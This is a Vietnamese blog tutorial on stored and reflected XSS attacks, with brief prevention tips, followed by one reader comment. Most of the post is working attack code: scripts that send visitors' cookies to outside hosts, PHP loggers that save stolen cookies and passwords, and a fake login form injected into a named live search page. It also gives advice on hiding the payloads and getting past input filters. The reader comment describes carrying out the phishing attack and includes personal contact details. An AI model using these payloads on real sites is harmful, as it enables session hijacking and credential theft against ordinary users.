Trang

Thứ Năm, 18 tháng 7, 2013

Tấn công XSS và cách phòng chống [Bảo mật]

Sau khi đã tìm hiểu về XSS ở bài trước, ta sẽ thực hiện các cách tấn công và cách phòng trống.
I. Tấn công Stored XSS


Stored XSS là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.

Khi người dùng vào trang này, thì lập tức các script độc được thực thi, ở đây là sẽ tiến hành lấy trộm cookie của người dùng, rồi lưu nó vào một file txt

Trong nội dung comment ta sẽ viết một đoạn script, chú ý đoạn script này nên viết ở cuối comment để tránh bị phát hiện

<script>
  document.write("<iframe src='http://hacker.php?cookie="+document.cookie+"' height='0' width='0' frameborder='0'></iframe>");
</script>

Ở đây ta sử dụng một iframe có chiều cao và chiều rộng bằng 0, border bằng 0, src của nó dẫn tới trang web của Hacker, trang web này có tác dụng lấy cookie của người dùng nếu người dùng đã đăng nhập.

Ở trang lấy cookie ta viết code để lưu cookie vào một file txt

<?php
if(isset($_GET['cookie']))
 {
   $cookie = $_GET['cookie'];
   // Mở file cookie.txt, tham số a nghĩa là file này mở chỉ để write chứ không scan hay read
   $f=fopen('cookie.txt','a');
  // Ta write địa chỉ trang web mà ở trang đó bị ta chèn script.
   fwrite($f,$_SERVER['HTTP_REFERER']);
  // Ghi giá trị cookie
   fwrite($f,". Cookie la: ".$cookie." \n");
  // Đóng file lại
   fclose($f);
 }
?>

Mở file cookie.txt trên host ta được như sau

http://localhost/baomatweb_sql/XSS/index.php. Cookie la: PHPSESSID=d4a7c08bac0181d69b8d5cc1a72e5c18 
http://localhost/baomatweb_sql/XSS/index.php. Cookie la: PHPSESSID=f64841941357ff4d06ad33e848ff7f26

Phòng chống:

Để phòng chống lỗi XSS này, ta sẽ mã hóa các kí tự < , > để vô hiệu hóa script. trước khi insert nó vào database, tuy bị mã hóa, nhưng lúc hiển thị ra trang web sẽ vẫn là dấu < , > .

$comment = sql_escape($comment);
$comment = htmlentities($comment, ENT_QUOTES, "UTF-8");

Tham số ENT_QUOTES : sẽ mã hóa luôn dấu nháy đơn và nháy kép. UTF-8 là để hiển thị chữ có dấu.

Hàm sql_escape xem trong bài chống lỗi SQL_Injection

2. Tấn công Reflected-XSS: (phản hồi XSS)

Kiểu tấn công này áp dụng đối với những form để nhập dữ liệu đầu vào, đặc biệt là các form search.



Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, Hacker thể chèn thêm đoạn mã gây hại vào.

Để biết một form search có bị lỗi XSS hay không, Hacker thường search cụm từ sau:

a"><script>alert(1)</script>

a"> : để đóng thẻ input

Ví dụ:

<input type="text" value=" a"> " name="formSearch" id="formSearch" />

Sau khi đóng thẻ input, các phần phía sau trở thành mã HTML.

Đoạn javascript để thông báo hiện số 1. Nếu trình duyệt xuất hiện thông báo thì trang web đó bị lỗi XSS. Khi đó Hacker sẽ chèn các đoạn mã độc thay vì hiện thông báo.

Lưu ý: Nhiều trang web  chỉ kiểm tra dữ liệu đầu vào lúc đầu. Do vậy mình sẽ vượt qua nó bằng cách đừng cho vào cặp thẻ script và alert ngay lúc đầu. Mình sẽ chèn thử cái khác để xem nó có bị lỗi không, đồng thời khi mình chèn như vậy thì nó sẽ bị bể code. Sau khi bể code mình mới chèn script vào được. Ví dụ như trang Vdict

Lúc đầu ta search: book">hello để nó bị bể code. Sau đó ta mới chèn script vào.

Tuy nhiên đoạn mã độc hại này chỉ được kích hoạt  khi nạn nhân click đường link trên.

Do vậy, cách mà Hacker sử dụng lỗi này để tấn công người dùng đó là làm sao để người đó click vào các link chứa mã độc này.

Cách tấn công:

Cách 1:

Giả mạo trang đăng nhập để lấy thông tin tài khoản:
http://www.meoi.vn/search.php?keyword=<center><br><br><form method=POST action=http://inrongvang.com.vn/xuli.php>User:<input name=ten><br>Password:<input name=mk><input type=submit value=Send></form><br><!--

Hacker sẽ chèn vào một form đăng nhập, action sẽ chuyển về trang web xử lý của Hacker. Khi nạn nhân thực hiện đăng nhập thì sẽ bị lấy thông tin tài khoản.

Chú ý: <!-- là để biến các thành phần HTML phía sau thành chú thích.

File xử lý của Hacker:

<?
$ten=$_POST['ten'];
$mk=$_POST['mk'];

$f=fopen("luu.txt","a");
fwrite($f,"Ten: $ten - mat khau: $mk \n");
fclose($f);
?>
<script>
    location.href="http://meoi.vn"
</script>

Sau khi lấy thông tin đăng nhập, Hacker sẽ lưu nó vào một file, sau đó chuyển hướng về trang chủ để tránh bị phát hiện

Tuy nhiên thay vì đánh tất cả vào đường link search thì Hacker sẽ chuyển nó đến một file js. Trong file js này Hacker mới tạo form đăng nhập. Mục đích của việc này để nạn nhân sẽ không nghi ngờ vì sao đường link dài như vậy.

http://www.meoi.vn/search.php?keyword=<script src=http://long.nhatnghe.vn/xss/xss2.js></script>

File xss2.js

document.body.innerHTML='<Center>Thông tin đăng nhập<BR><form action=http://www.inrongvang.com.vn/xss/xuli1.php method=POST><table><TR><TD>Tên đăng nhập:</TD><TD><input name=ten></TD></TR><TR><TD>Mật khẩu:</TD><TD><input name=mk type=password></TD></TR><TR><TD></TD><TD><input type=submit value=Login></TD></TR></table></form></center>'

Cách 2: Trộm Cookie

Cách này để trộm Cookie của nạn nhân, tức là trộm phiên làm việc hay biến màn hình. Nếu nạn nhân đã đăng nhập vào một trang nào đó. Nếu bị Hacker lấy được cookie thì Hacker sẽ vào thẳng trang đó mà không cần phải đăng nhập. Cái này là do chức năng của biến PHPSESID

http://www.meoi.vn/search.php?keyword=<script src=http://long.nhatnghe.vn/xss/xss3.js></script>

File xss3.js

location.href="http://inrongvang.com.vn/xuli1.php?data="%2bdocument.cookie;

File này sẽ lấy cookie của nạn nhân qua trang xuly1.php

xuli1.php

<?
$data=$_GET['data'];

$f=fopen("luu1.txt","a");
fwrite($f,"Cookie chom ne: $data \n");
fclose($f);
?>
<script>
    location.href="http://meoi.vn"
</script>

Phòng chống:

Để phòng chống lỗi XSS này, thì khi người dùng một từ nào đó, trước khi in từ đó ra màn hình thì mình sẽ mã hóa các dấu "<", ">" .

$tukhoa = sql_escape($tukhoa);
$tukhoa = htmlentities($tukhoa, ENT_QUOTES, "UTF-8");

Tham số ENT_QUOTES : sẽ mã hóa luôn dấu nháy đơn và nháy kép. UTF-8 là để hiển thị chữ có dấu.

Hàm sql_escape xem trong bài chống lỗi SQL_Injection

Lưu ý:

Về sau này, nếu muốn chặn dữ liệu đầu vào bằng Javascript, thì thông thường ta phải cho cái input nó có thuộc tính class hay id nào đó, ví dụ như class="validate_input"... Thì mình nên để cái  class này ngay sau input, đừng để ở cuối vì nếu bị bể code thì cái class sẽ bị mất. Nên để cái class hoặc id trước thuộc tính Value

Ví dụ:

<input type="text" class="validate_input" name="formSearch" id="formSearch" value="" />

1 nhận xét:

  1. Chao anh em la hung hoc tai hoc vien ky thuat quan su. Em dang lam do an nghien cuu va thu nghiem phuong phap tan cong XSS.em thay bai viet cua anh rat hay,em da doc va lam theo bai viet nay.Em co lap 1 trang web gia cua meoi.vn voi ten mien la hungk15.0fees.net.Em cung da tan cong va lay duoc mat khau va pass.em co 1 so thac mac muon nho a giup do.Khi nao nhan duoc tin nhan nay a gui mail cho e tai d/c nguyenhung89vnn.com hoac sdt 0985658369.1 lan nua em cam on anh rat nhieu.

    Trả lờiXóa